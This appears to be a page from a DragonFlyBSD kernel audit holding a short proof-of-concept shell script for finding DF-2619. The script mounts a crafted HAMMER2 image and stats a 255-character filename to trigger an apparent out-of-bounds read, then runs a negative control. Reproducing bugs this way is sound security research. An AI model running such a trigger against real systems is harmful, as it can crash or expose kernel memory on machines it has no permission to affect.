DragonFlyBSD Kernel Audit
DF-2619 / run_2619_instr.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-2619 on instrumented kernel: stat FIRST (no prior namecache), then getdents.
cd /root/poc/dfv
LONGNAME=$(head -c 255 /dev/zero | tr '\0' 'A')
vnconfig -u vn0 2>/dev/null || true
vnconfig -c vn0 /root/poc/dfv/craft2619.img
mount -o ro -t hammer2 /dev/vn0@testvol /mnt/h2x || echo "MOUNT FAILED"
echo "--- stat 255-char name FIRST (dirent_test bcmp OOB):"
stat -t "/mnt/h2x/$LONGNAME" >/dev/null 2>&1; echo "stat rc=$?"
echo "--- stat a random 255-char name (negative control):"
stat -t "/mnt/h2x/$(head -c 255 /dev/zero | tr '\0' 'Z')" >/dev/null 2>&1; echo "statZ rc=$?"
echo "--- getdents:"
./getdents_dump /mnt/h2x
umount /mnt/h2x; vnconfig -u vn0
echo DF2619_INSTR_DONE